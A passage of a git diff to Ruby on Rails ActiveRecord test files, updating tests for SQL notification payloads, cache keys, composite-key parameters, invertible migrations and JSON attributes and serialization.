+      notification = capture_notifications("sql.active_record") { Book.update_all(format: "ebook") }
+        .find { _1.payload[:sql].match?("UPDATE") }
+
+      assert_equal "Book Update All", notification.payload[:name]
+    end
+
+    def test_payload_name_on_eager_load
+      ActiveRecord::Base.schema_cache.add(Author.table_name)
+      notification = capture_notifications("sql.active_record") { Book.eager_load(:author).to_a }
+      assert_equal "Book Eager Load", notification.first.payload[:name]
+    end
+
+    def test_payload_name_on_destroy
+      book = Book.create(name: "test book")
+
+      notification = capture_notifications("sql.active_record") { book.destroy }
+        .find { _1.payload[:sql].match?("DELETE") }
+
+      assert_equal "Book Destroy", notification.payload[:name]
+    end
+
+    def test_payload_name_on_delete_all
+      notification = capture_notifications("sql.active_record") { Book.delete_all }
+        .find { _1.payload[:sql].match?("DELETE") }
+
+      assert_equal "Book Delete All", notification.payload[:name]
+    end
+
+    def test_payload_name_on_pluck
+      notification = capture_notifications("sql.active_record") { Book.pluck(:name) }
+        .find { _1.payload[:sql].match?("SELECT") }
+
+      assert_equal "Book Pluck", notification.payload[:name]
+    end
+
+    def test_payload_name_on_count
+      notification = capture_notifications("sql.active_record") { Book.count }
+        .find { _1.payload[:sql].match?("SELECT") }
+
+      assert_equal "Book Count", notification.payload[:name]
+    end
+
+    def test_payload_name_on_grouped_count
+      notification = capture_notifications("sql.active_record") { Book.group(:status).count }
+        .find { _1.payload[:sql].match?("SELECT") }
+
+      assert_equal "Book Count", notification.payload[:name]
+    end
+
+    def test_payload_row_count_on_select_all
+      10.times { Book.create(name: "row count book 1") }
+
+      notification = capture_notifications("sql.active_record") { Book.where(name: "row count book 1").to_a }
+        .find { _1.payload[:sql].match?("SELECT") }
+
+      assert_equal 10, notification.payload[:row_count]
+    end
+
+    def test_payload_row_count_on_pluck
+      10.times { Book.create(name: "row count book 2") }
+
+      notification = capture_notifications("sql.active_record") { Book.where(name: "row count book 2").pluck(:name) }
+        .find { _1.payload[:sql].match?("SELECT") }
+
+      assert_equal 10, notification.payload[:row_count]
+    end
+
+    def test_payload_row_count_on_raw_sql
+      10.times { Book.create(name: "row count book 3") }
+
+      notification = capture_notifications("sql.active_record") do
+        ActiveRecord::Base.lease_connection.execute("SELECT * FROM books WHERE name='row count book 3';")
+      end.find { _1.payload[:sql].match?("SELECT") }
+
+      assert_equal 10, notification.payload[:row_count]
+    end
+
+    def test_payload_row_count_on_cache
+      Book.create!(name: "row count book")
+
+      notifications = capture_notifications("sql.active_record") do
+        Book.cache do
+          Book.first
+          Book.first
+        end
+      end
+
+      payloads = notifications.select { _1.payload[:sql].match?("SELECT") }.map(&:payload)
+
+      assert_equal 2, payloads.size
+      assert_not payloads[0][:cached]
+      assert payloads[1][:cached]
+      assert_equal 1, payloads[0][:row_count]
+      assert_equal 1, payloads[1][:row_count]
+    end
+
+    def test_payload_connection_with_query_cache_disabled
+      assert_notification("sql.active_record", connection: ClothingItem.lease_connection) { Book.first }
+    end
+
+    def test_payload_connection_with_query_cache_enabled
+      connection = ClothingItem.lease_connection
+
+      notifications = capture_notifications("sql.active_record") do
+        Book.cache do
+          Book.first
+          Book.first
+        end
+      end
+
+      payloads = notifications.select { _1.payload[:sql].match?("SELECT") }.map(&:payload)
+
+      assert_equal 2, payloads.size
+      assert_equal connection, payloads.first[:connection]
+      assert_equal connection, payloads.second[:connection]
+    end
+
+    def test_payload_affected_rows
+      affected_row_values = []
+
+      ActiveSupport::Notifications.subscribed(
+        -> (event) { affected_row_values << event.payload[:affected_rows] },
+        "sql.active_record",
+      ) do
+        # The combination of MariaDB + Trilogy returns 0 for affected_rows with
+        # INSERT ... RETURNING
+        Book.insert_all!([{ name: "One" }, { name: "Two" }, { name: "Three" }, { name: "Four" }], returning: false)
+
+        Book.where(name: ["One", "Two", "Three"]).pluck(:id)
+
+        Book.where(name: ["One", "Two", "Three"]).update_all(status: :published)
+
+        Book.where(name: ["Three", "Four"]).delete_all
+
+        Book.where(name: ["Three", "Four"]).delete_all
+      end
+
+      assert_equal 4, affected_row_values.first
+      assert_not_equal affected_row_values.first, affected_row_values.second
+      assert_equal 3, affected_row_values.third
+      assert_equal 2, affected_row_values.fourth
+      assert_equal 0, affected_row_values.fifth
+    end
+
+    def test_payload_affected_rows_cascade
+      affected_row_values = []
+
+      ActiveSupport::Notifications.subscribed(
+        -> (event) do
+          unless event.payload[:name].in? ["SCHEMA", "TRANSACTION"]
+            affected_row_values << event.payload[:affected_rows]
+          end
+        end,
+        "sql.active_record",
+      ) do
+        l = Lesson.create!(name: "Algebra")
+        l.students.create!(name: "Jim")
+
+        Student.delete_all
+      end
+
+      assert_equal 4, affected_row_values.length
+      assert_equal 1, affected_row_values.fourth
+    end
+
+    def test_no_instantiation_notification_when_no_records
+      author = Author.create!(id: 100, name: "David")
+
+      assert_no_notifications("instantiation.active_record") do
+        Author.where(id: 0).to_a
+        author.books.to_a
+      end
+    end
+  end
+
+  module TransactionInSqlActiveRecordPayloadTests
+    def test_payload_without_an_open_transaction
+      asserted = false
+
+      subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+        if event.payload.fetch(:name) == "Book Count"
+          assert_nil event.payload.fetch(:transaction)
+          asserted = true
+        end
+      end
+
+      Book.count
+
+      assert asserted
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber)
+    end
+
+    def test_payload_with_an_open_transaction
+      asserted = false
+      expected_transaction = nil
+
+      subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+        if event.payload.fetch(:name) == "Book Count"
+          assert_same expected_transaction, event.payload.fetch(:transaction)
+          asserted = true
+        end
+      end
+
+      Book.transaction do |transaction|
+        expected_transaction = transaction
+        Book.count
+      end
+
+      assert asserted
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber)
+    end
+  end
+
+  class TransactionInSqlActiveRecordPayloadTest < ActiveRecord::TestCase
+    include TransactionInSqlActiveRecordPayloadTests
+  end
+
+  class TransactionInSqlActiveRecordPayloadNonTransactionalTest < ActiveRecord::TestCase
+    include TransactionInSqlActiveRecordPayloadTests
+
+    self.use_transactional_tests = false
+  end
+end
diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb
index d7aa0916238da..82d72ed673513 100644
--- a/activerecord/test/cases/integration_test.rb
+++ b/activerecord/test/cases/integration_test.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: true
 
 require "cases/helper"
 require "models/company"
@@ -5,6 +6,7 @@
 require "models/computer"
 require "models/owner"
 require "models/pet"
+require "models/cpk"
 
 class IntegrationTest < ActiveRecord::TestCase
   fixtures :companies, :developers, :owners, :pets
@@ -96,6 +98,25 @@ def test_to_param_with_no_arguments
     assert_equal "Firm", Firm.to_param
   end
 
+  def test_to_param_for_a_composite_primary_key_model
+    assert_equal "1_123", Cpk::Order.new(id: [1, 123]).to_param
+  end
+
+  def test_param_delimiter_changes_delimiter_used_in_to_param
+    Cpk::Order.stub(:param_delimiter, ",") do
+      assert_equal("1,123", Cpk::Order.new(id: [1, 123]).to_param)
+    end
+  end
+
+  def test_param_delimiter_is_defined_per_class
+    Cpk::Order.stub(:param_delimiter, ",") do
+      Cpk::Book.stub(:param_delimiter, ";") do
+        assert_equal("1,123", Cpk::Order.new(id: [1, 123]).to_param)
+        assert_equal("1;123", Cpk::Book.new(id: [1, 123]).to_param)
+      end
+    end
+  end
+
   def test_cache_key_for_existing_record_is_not_timezone_dependent
     utc_key = Developer.first.cache_key
 
@@ -107,12 +128,12 @@ def test_cache_key_for_existing_record_is_not_timezone_dependent
 
   def test_cache_key_format_for_existing_record_with_updated_at
     dev = Developer.first
-    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:usec)}", dev.cache_key
+    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_fs(:usec)}", dev.cache_key
   end
 
   def test_cache_key_format_for_existing_record_with_updated_at_and_custom_cache_timestamp_format
     dev = CachedDeveloper.first
-    assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
+    assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_fs(:number)}", dev.cache_key
   end
 
   def test_cache_key_changes_when_child_touched
@@ -137,45 +158,104 @@ def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
   def test_cache_key_for_updated_on
     dev = Developer.first
     dev.updated_at = nil
-    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:usec)}", dev.cache_key
+    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_fs(:usec)}", dev.cache_key
   end
 
   def test_cache_key_for_newer_updated_at
     dev = Developer.first
     dev.updated_at += 3600
-    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:usec)}", dev.cache_key
+    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_fs(:usec)}", dev.cache_key
   end
 
   def test_cache_key_for_newer_updated_on
     dev = Developer.first
     dev.updated_on += 3600
-    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:usec)}", dev.cache_key
+    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_fs(:usec)}", dev.cache_key
   end
 
   def test_cache_key_format_is_precise_enough
-    skip("Subsecond precision is not supported") unless subsecond_precision_supported?
     dev = Developer.first
     key = dev.cache_key
-    dev.touch
+    travel_to dev.updated_at + 0.000001 do
+      dev.touch
+    end
     assert_not_equal key, dev.cache_key
   end
 
   def test_cache_key_format_is_not_too_precise
-    skip("Subsecond precision is not supported") unless subsecond_precision_supported?
     dev = Developer.first
     dev.touch
     key = dev.cache_key
     assert_equal key, dev.reload.cache_key
   end
 
-  def test_named_timestamps_for_cache_key
-    owner = owners(:blackbeard)
-    assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:usec)}", owner.cache_key(:updated_at, :happy_at)
+  def test_cache_version_format_is_precise_enough
+    with_cache_versioning do
+      dev = Developer.first
+      version = dev.cache_version.to_param
+      travel_to Developer.first.updated_at + 0.000001 do
+        dev.touch
+      end
+      assert_not_equal version, dev.cache_version.to_param
+    end
   end
 
-  def test_cache_key_when_named_timestamp_is_nil
-    owner = owners(:blackbeard)
-    owner.happy_at = nil
-    assert_equal "owners/#{owner.id}", owner.cache_key(:happy_at)
+  def test_cache_version_format_is_not_too_precise
+    with_cache_versioning do
+      dev = Developer.first
+      dev.touch
+      key = dev.cache_version.to_param
+      assert_equal key, dev.reload.cache_version.to_param
+    end
+  end
+
+  def test_cache_key_is_stable_with_versioning_on
+    with_cache_versioning do
+      developer = Developer.first
+      first_key = developer.cache_key
+
+      developer.touch
+      second_key = developer.cache_key
+
+      assert_equal first_key, second_key
+    end
+  end
+
+  def test_cache_version_changes_with_versioning_on
+    with_cache_versioning do
+      developer     = Developer.first
+      first_version = developer.cache_version
+
+      travel 10.seconds do
+        developer.touch
+      end
+
+      second_version = developer.cache_version
+
+      assert_not_equal first_version, second_version
+    end
+  end
+
+  def test_cache_key_retains_version_when_custom_timestamp_is_used
+    with_cache_versioning do
+      developer = Developer.first
+      first_key = developer.cache_key_with_version
+
+      travel 10.seconds do
+        developer.touch
+      end
+
+      second_key = developer.cache_key_with_version
+
+      assert_not_equal first_key, second_key
+    end
+  end
+
+  def with_cache_versioning(value = true)
+    @old_cache_versioning = ActiveRecord::Base.cache_versioning
+    ActiveRecord::Base.cache_versioning = value
+    yield
+  ensure
+    ActiveRecord::Base.cache_versioning = @old_cache_versioning
   end
 end
diff --git a/activerecord/test/cases/invalid_connection_test.rb b/activerecord/test/cases/invalid_connection_test.rb
index 1367af2859f0b..4eb51ca856876 100644
--- a/activerecord/test/cases/invalid_connection_test.rb
+++ b/activerecord/test/cases/invalid_connection_test.rb
@@ -1,16 +1,18 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
-if current_adapter?(:Mysql2Adapter)
-  class TestAdapterWithInvalidConnection < ActiveRecord::TestCase
-    self.use_transactional_tests = false
+class TestAdapterWithInvalidConnection < ActiveRecord::TestCase
+  self.use_transactional_tests = false
 
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
     class Bird < ActiveRecord::Base
     end
 
     def setup
       # Can't just use current adapter; sqlite3 will create a database
       # file on the fly.
-      Bird.establish_connection adapter: "mysql2", database: "i_do_not_exist"
+      Bird.establish_connection adapter: ARTest.connection_name, database: "i_do_not_exist", host: "127.0.0.1", port: 12, username: "invalid"
     end
 
     teardown do
@@ -18,7 +20,7 @@ def setup
     end
 
     test "inspect on Model class does not raise" do
-      assert_equal "#{Bird.name} (call '#{Bird.name}.connection' to establish a connection)", Bird.inspect
+      assert_equal "#{Bird.name} (call '#{Bird.name}.load_schema' to load schema informations)", Bird.inspect
     end
   end
 end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
index cc3951e2bae58..433231794eb89 100644
--- a/activerecord/test/cases/invertible_migration_test.rb
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class Horse < ActiveRecord::Base
@@ -16,6 +18,25 @@ def change
         create_table("horses") do |t|
           t.column :content, :text
           t.column :remind_at, :datetime
+          t.column :place_id, :integer
+          t.column :parent_id, :bigint
+        end
+      end
+    end
+
+    class InvertibleChangeTableMigration < SilentMigration
+      def change
+        change_table("horses") do |t|
+          t.column :name, :string
+          t.remove :remind_at, type: :datetime
+        end
+      end
+    end
+
+    class InvertibleTransactionMigration < InvertibleMigration
+      def change
+        transaction do
+          super
         end
       end
     end
@@ -67,6 +88,7 @@ def self.up
           t.column :name, :string
           t.column :color, :string
           t.index [:name, :color]
+          t.index [:color]
         end
       end
     end
@@ -75,6 +97,7 @@ class RemoveIndexMigration2 < SilentMigration
       def change
         change_table("horses") do |t|
           t.remove_index [:name, :color]
+          t.remove_index [:color] if t.index_exists?(:color)
         end
       end
     end
@@ -93,6 +116,32 @@ def change
       end
     end
 
+    class ChangeColumnComment1 < SilentMigration
+      def change
+        create_table("horses") do |t|
+          t.column :name, :string, comment: "Sekitoba"
+        end
+      end
+    end
+
+    class ChangeColumnComment2 < SilentMigration
+      def change
+        change_column_comment :horses, :name, from: "Sekitoba", to: "Diomed"
+      end
+    end
+
+    class ChangeTableComment1 < SilentMigration
+      def change
+        create_table("horses", comment: "Sekitoba")
+      end
+    end
+
+    class ChangeTableComment2 < SilentMigration
+      def change
+        change_table_comment :horses, from: "Sekitoba", to: "Diomed"
+      end
+    end
+
     class DisableExtension1 < SilentMigration
       def change
         enable_extension "hstore"
@@ -101,7 +150,15 @@ def change
 
     class DisableExtension2 < SilentMigration
       def change
-        disable_extension "hstore"
+        disable_extension "hstore", force: :cascade
+      end
+    end
+
+    class DropTableMigration < SilentMigration
+      def change
+        drop_table("horses") do |t|
+          t.string :name
+        end
       end
     end
 
@@ -151,6 +208,12 @@ def change
       end
     end
 
+    class RevertNonNamedExpressionIndexMigration < SilentMigration
+      def change
+        add_index :horses, "remind_at, place_id"
+      end
+    end
+
     class RevertCustomForeignKeyTable < SilentMigration
       def change
         change_table(:horses) do |t|
@@ -159,14 +222,41 @@ def change
       end
     end
 
+    class UpOnlyMigration < SilentMigration
+      def change
+        add_column :horses, :oldie, :integer, default: 0
+        up_only { execute "update horses set oldie = 1" }
+      end
+    end
+
+    class RevertUniqueConstraintWithInvalidOption < SilentMigration
+      def change
+        add_unique_constraint :horses, :place_id, invalid: :option
+      end
+    end
+
+    class RevertForeignKeyWithInvalidOption < SilentMigration
+      def change
+        add_foreign_key :horses, :horses, column: :parent_id, invalid: :option
+      end
+    end
+
+    class RevertCheckConstraintWithInvalidOption < SilentMigration
+      def change
+        add_check_constraint :horses, "place_id > 0", invalid: :option
+      end
+    end
+
+    self.use_transactional_tests = false
+
     setup do
       @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
     end
 
     teardown do
       %w[horses new_horses].each do |table|
-        if ActiveRecord::Base.connection.table_exists?(table)
-          ActiveRecord::Base.connection.drop_table(table)
+        if ActiveRecord::Base.lease_connection.table_exists?(table)
+          ActiveRecord::Base.lease_connection.drop_table(table)
         end
       end
       ActiveRecord::Migration.verbose = @verbose_was
@@ -204,7 +294,7 @@ def test_migrate_down
       migration = InvertibleMigration.new
       migration.migrate :up
       migration.migrate :down
-      assert !migration.connection.table_exists?("horses")
+      assert_not migration.connection.table_exists?("horses")
     end
 
     def test_migrate_revert
@@ -212,11 +302,20 @@ def test_migrate_revert
       revert = InvertibleRevertMigration.new
       migration.migrate :up
       revert.migrate :up
-      assert !migration.connection.table_exists?("horses")
+      assert_not migration.connection.table_exists?("horses")
       revert.migrate :down
       assert migration.connection.table_exists?("horses")
       migration.migrate :down
-      assert !migration.connection.table_exists?("horses")
+      assert_not migration.connection.table_exists?("horses")
+    end
+
+    def test_migrate_revert_change_table
+      InvertibleMigration.new.migrate :up
+      migration = InvertibleChangeTableMigration.new
+      migration.migrate :up
+      assert_not migration.connection.column_exists?(:horses, :remind_at)
+      migration.migrate :down
+      assert migration.connection.column_exists?(:horses, :remind_at)
     end
 
     def test_migrate_revert_by_part
@@ -230,12 +329,12 @@ def test_migrate_revert_by_part
       }
       migration.migrate :up
       assert_equal [:both, :up], received
-      assert !migration.connection.table_exists?("horses")
+      assert_not migration.connection.table_exists?("horses")
       assert migration.connection.table_exists?("new_horses")
       migration.migrate :down
       assert_equal [:both, :up, :both, :down], received
       assert migration.connection.table_exists?("horses")
-      assert !migration.connection.table_exists?("new_horses")
+      assert_not migration.connection.table_exists?("new_horses")
     end
 
     def test_migrate_revert_whole_migration
@@ -244,11 +343,11 @@ def test_migrate_revert_whole_migration
         revert = RevertWholeMigration.new(klass)
         migration.migrate :up
         revert.migrate :up
-        assert !migration.connection.table_exists?("horses")
+        assert_not migration.connection.table_exists?("horses")
         revert.migrate :down
         assert migration.connection.table_exists?("horses")
         migration.migrate :down
-        assert !migration.connection.table_exists?("horses")
+        assert_not migration.connection.table_exists?("horses")
       end
     end
 
@@ -257,12 +356,21 @@ def test_migrate_nested_revert_whole_migration
       revert.migrate :down
       assert revert.connection.table_exists?("horses")
       revert.migrate :up
-      assert !revert.connection.table_exists?("horses")
+      assert_not revert.connection.table_exists?("horses")
+    end
+
+    def test_migrate_revert_transaction
+      migration = InvertibleTransactionMigration.new
+      migration.migrate :up
+      assert migration.connection.table_exists?("horses")
+      migration.migrate :down
+      assert_not migration.connection.table_exists?("horses")
     end
 
     def test_migrate_revert_change_column_default
       migration1 = ChangeColumnDefault1.new
       migration1.migrate(:up)
+      Horse.reset_column_information
       assert_equal "Sekitoba", Horse.new.name
 
       migration2 = ChangeColumnDefault2.new
@@ -275,30 +383,81 @@ def test_migrate_revert_change_column_default
       assert_equal "Sekitoba", Horse.new.name
     end
 
+    if ActiveRecord::Base.lease_connection.supports_comments?
+      def test_migrate_revert_change_column_comment
+        migration1 = ChangeColumnComment1.new
+        migration1.migrate(:up)
+        Horse.reset_column_information
+        assert_equal "Sekitoba", Horse.columns_hash["name"].comment
+
+        migration2 = ChangeColumnComment2.new
+        migration2.migrate(:up)
+        Horse.reset_column_information
+        assert_equal "Diomed", Horse.columns_hash["name"].comment
+
+        migration2.migrate(:down)
+        Horse.reset_column_information
+        assert_equal "Sekitoba", Horse.columns_hash["name"].comment
+      end
+
+      def test_migrate_revert_change_table_comment
+        connection = ActiveRecord::Base.lease_connection
+        migration1 = ChangeTableComment1.new
+        migration1.migrate(:up)
+        assert_equal "Sekitoba", connection.table_comment("horses")
+
+        migration2 = ChangeTableComment2.new
+        migration2.migrate(:up)
+        assert_equal "Diomed", connection.table_comment("horses")
+
+        migration2.migrate(:down)
+        assert_equal "Sekitoba", connection.table_comment("horses")
+      end
+    end
+
     if current_adapter?(:PostgreSQLAdapter)
       def test_migrate_enable_and_disable_extension
+        connection = Horse.lease_connection
         migration1 = InvertibleMigration.new
         migration2 = DisableExtension1.new
         migration3 = DisableExtension2.new
 
+        assert_equal true, connection.extension_available?("hstore")
+
         migration1.migrate(:up)
         migration2.migrate(:up)
-        assert_equal true, Horse.connection.extension_enabled?("hstore")
+        assert_equal true, connection.extension_enabled?("hstore")
 
         migration3.migrate(:up)
-        assert_equal false, Horse.connection.extension_enabled?("hstore")
+        assert_equal false, connection.extension_enabled?("hstore")
 
         migration3.migrate(:down)
-        assert_equal true, Horse.connection.extension_enabled?("hstore")
+        assert_equal true, connection.extension_enabled?("hstore")
 
         migration2.migrate(:down)
-        assert_equal false, Horse.connection.extension_enabled?("hstore")
+        assert_equal false, connection.extension_enabled?("hstore")
+      ensure
+        enable_extension!("hstore", ActiveRecord::Base.lease_connection)
       end
     end
 
+    def test_migrate_revert_drop_table
+      connection = ActiveRecord::Base.lease_connection
+      migration1 = InvertibleMigration.new
+      migration1.migrate(:up)
+      assert connection.table_exists?("horses")
+
+      migration2 = DropTableMigration.new
+      migration2.migrate(:up)
+      assert_not connection.table_exists?("horses")
+
+      migration2.migrate(:down)
+      assert connection.table_exists?("horses")
+    end
+
     def test_revert_order
       block = Proc.new { |t| t.string :name }
-      recorder = ActiveRecord::Migration::CommandRecorder.new(ActiveRecord::Base.connection)
+      recorder = ActiveRecord::Migration::CommandRecorder.new(ActiveRecord::Base.lease_connection)
       recorder.instance_eval do
         create_table("apples", &block)
         revert do
@@ -322,24 +481,24 @@ def test_revert_order
 
     def test_legacy_up
       LegacyMigration.migrate :up
-      assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+      assert ActiveRecord::Base.lease_connection.table_exists?("horses"), "horses should exist"
     end
 
     def test_legacy_down
       LegacyMigration.migrate :up
       LegacyMigration.migrate :down
-      assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+      assert_not ActiveRecord::Base.lease_connection.table_exists?("horses"), "horses should not exist"
     end
 
     def test_up
       LegacyMigration.up
-      assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+      assert ActiveRecord::Base.lease_connection.table_exists?("horses"), "horses should exist"
     end
 
     def test_down
       LegacyMigration.up
       LegacyMigration.down
-      assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+      assert_not ActiveRecord::Base.lease_connection.table_exists?("horses"), "horses should not exist"
     end
 
     def test_migrate_down_with_table_name_prefix
@@ -348,7 +507,7 @@ def test_migrate_down_with_table_name_prefix
       migration = InvertibleMigration.new
       migration.migrate(:up)
       assert_nothing_raised { migration.migrate(:down) }
-      assert !ActiveRecord::Base.connection.table_exists?("p_horses_s"), "p_horses_s should not exist"
+      assert_not ActiveRecord::Base.lease_connection.table_exists?("p_horses_s"), "p_horses_s should not exist"
     ensure
       ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ""
     end
@@ -357,22 +516,93 @@ def test_migrations_can_handle_foreign_keys_to_specific_tables
       migration = RevertCustomForeignKeyTable.new
       InvertibleMigration.migrate(:up)
       migration.migrate(:up)
+      assert ActiveRecord::Base.lease_connection.column_exists?(:horses, :owner_id)
       migration.migrate(:down)
+      assert_not ActiveRecord::Base.lease_connection.column_exists?(:horses, :owner_id)
     end
 
     # MySQL 5.7 and Oracle do not allow to create duplicate indexes on the same columns
-    unless current_adapter?(:Mysql2Adapter, :OracleAdapter)
+    unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
       def test_migrate_revert_add_index_with_name
         RevertNamedIndexMigration1.new.migrate(:up)
         RevertNamedIndexMigration2.new.migrate(:up)
         RevertNamedIndexMigration2.new.migrate(:down)
 
-        connection = ActiveRecord::Base.connection
+        connection = ActiveRecord::Base.lease_connection
         assert connection.index_exists?(:horses, :content),
                "index on content should exist"
-        assert !connection.index_exists?(:horses, :content, name: "horses_index_named"),
+        assert_not connection.index_exists?(:horses, :content, name: "horses_index_named"),
               "horses_index_named index should not exist"
       end
     end
+
+    def test_migrate_revert_add_index_without_name_on_expression
+      InvertibleMigration.new.migrate(:up)
+      RevertNonNamedExpressionIndexMigration.new.migrate(:up)
+
+      connection = ActiveRecord::Base.lease_connection
+      assert connection.index_exists?(:horses, [:remind_at, :place_id]),
+             "index on remind_at and place_id should exist"
+
+      RevertNonNamedExpressionIndexMigration.new.migrate(:down)
+
+      assert_not connection.index_exists?(:horses, [:remind_at, :place_id]),
+             "index on remind_at and place_id should not exist"
+    end
+
+    def test_up_only
+      InvertibleMigration.new.migrate(:up)
+      horse1 = Horse.create
+      # populates existing horses with oldie = 1 but new ones have default 0
+      UpOnlyMigration.new.migrate(:up)
+      Horse.reset_column_information
+      horse1.reload
+      horse2 = Horse.create
+
+      assert_equal 1, horse1.oldie # created before migration
+      assert_equal 0, horse2.oldie # created after migration
+
+      UpOnlyMigration.new.migrate(:down) # should be no error
+      connection = ActiveRecord::Base.lease_connection
+      assert_not connection.column_exists?(:horses, :oldie)
+      Horse.reset_column_information
+    end
+
+    if ActiveRecord::Base.lease_connection.supports_unique_constraints?
+      def test_migrate_revert_add_unique_constraint_with_invalid_option
+        InvertibleMigration.new.migrate(:up)
+        RevertUniqueConstraintWithInvalidOption.new.migrate(:up)
+
+        connection = ActiveRecord::Base.lease_connection
+        assert_equal 1, connection.unique_constraints(:horses).count
+
+        RevertUniqueConstraintWithInvalidOption.new.migrate(:down)
+        assert_empty connection.unique_constraints(:horses)
+      end
+    end
+
+    def test_migrate_revert_add_foreign_key_with_invalid_option
+      InvertibleMigration.new.migrate(:up)
+      RevertForeignKeyWithInvalidOption.new.migrate(:up)
+
+      connection = ActiveRecord::Base.lease_connection
+      assert_equal 1, connection.foreign_keys(:horses).count
+
+      RevertForeignKeyWithInvalidOption.new.migrate(:down)
+      assert_empty connection.foreign_keys(:horses)
+    end
+
+    if ActiveRecord::Base.lease_connection.supports_check_constraints?
+      def test_migrate_revert_add_check_constraint_with_invalid_option
+        InvertibleMigration.new.migrate(:up)
+        RevertCheckConstraintWithInvalidOption.new.migrate(:up)
+
+        connection = ActiveRecord::Base.lease_connection
+        assert_equal 1, connection.check_constraints(:horses).count
+
+        RevertCheckConstraintWithInvalidOption.new.migrate(:down)
+        assert_empty connection.check_constraints(:horses)
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/json_attribute_test.rb b/activerecord/test/cases/json_attribute_test.rb
new file mode 100644
index 0000000000000..e151daff71d3c
--- /dev/null
+++ b/activerecord/test/cases/json_attribute_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/json_shared_test_cases"
+
+class JsonAttributeTest < ActiveRecord::TestCase
+  include JSONSharedTestCases
+  self.use_transactional_tests = false
+
+  class JsonDataTypeOnText < ActiveRecord::Base
+    self.table_name = "json_data_type"
+
+    attribute :payload,  :json
+    attribute :settings, :json
+
+    store_accessor :settings, :resolution
+  end
+
+  def setup
+    super
+    @connection.drop_table("json_data_type", if_exists: true)
+    @connection.create_table("json_data_type") do |t|
+      t.string "payload"
+      t.string "settings"
+    end
+  end
+
+  def test_invalid_json_can_be_updated
+    model = klass.create!
+    @connection.execute("UPDATE #{klass.table_name} SET payload = '---'")
+
+    model.reload
+    assert_equal "---", model.payload_before_type_cast
+    assert_error_reported(JSON::ParserError) do
+      assert_nil model.payload
+    end
+
+    model.update(payload: "no longer invalid")
+    assert_equal("no longer invalid", model.payload)
+  end
+
+  private
+    def column_type
+      :string
+    end
+
+    def klass
+      JsonDataTypeOnText
+    end
+end
diff --git a/activerecord/test/cases/json_serialization_test.rb b/activerecord/test/cases/json_serialization_test.rb
index 5a1d066aefbc5..2c9dc293fca74 100644
--- a/activerecord/test/cases/json_serialization_test.rb
+++ b/activerecord/test/cases/json_serialization_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/contact"
 require "models/post"
@@ -8,7 +10,6 @@
 
 module JsonSerializationHelpers
   private
-
     def set_include_root_in_json(value)
       original_root_in_json = ActiveRecord::Base.include_root_in_json
       ActiveRecord::Base.include_root_in_json = value
@@ -22,7 +23,7 @@ class JsonSerializationTest < ActiveRecord::TestCase
   include JsonSerializationHelpers
 
   class NamespacedContact < Contact
-    column :name, :string
+    column :name, "string"
   end
 
   def setup
@@ -32,7 +33,7 @@ def setup
       avatar: "binarydata",
       created_at: Time.utc(2006, 8, 1),
       awesome: true,
-      preferences: { shows: "anime" }
+      preferences: { "shows" => "anime" }
     )
   end
 
@@ -148,8 +149,8 @@ def test_serializable_hash_with_default_except_option_and_excluding_inheritance_
     @contact = ContactSti.new(@contact.attributes)
     assert_equal "ContactSti", @contact.type
 
-    def @contact.serializable_hash(options = {})
-      super({ except: %w(age) }.merge!(options))
+    def @contact.serializable_hash(options = nil)
+      super({ except: %w(age) }.merge!(options || {}))
     end
 
     json = @contact.to_json
@@ -160,15 +161,13 @@ def @contact.serializable_hash(options = {})
   end
 
   def test_serializable_hash_should_not_modify_options_in_argument
-    options = { only: :name }
-    @contact.serializable_hash(options)
-
-    assert_nil options[:except]
+    options = { only: :name }.freeze
+    assert_nothing_raised { @contact.serializable_hash(options) }
   end
 end
 
 class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
-  fixtures :authors, :posts, :comments, :tags, :taggings
+  fixtures :authors, :author_addresses, :posts, :comments, :tags, :taggings
 
   include JsonSerializationHelpers
 
@@ -252,7 +251,7 @@ def test_should_not_call_methods_on_associations_that_dont_respond
     def @david.favorite_quote; "Constraints are liberating"; end
     json = @david.to_json(include: :posts, methods: :favorite_quote)
 
-    assert !@david.posts.first.respond_to?(:favorite_quote)
+    assert_not_respond_to @david.posts.first, :favorite_quote
     assert_match %r{"favorite_quote":"Constraints are liberating"}, json
     assert_equal 1, %r{"favorite_quote":}.match(json).size
   end
@@ -302,7 +301,7 @@ def test_should_allow_options_for_hash_of_authors
 
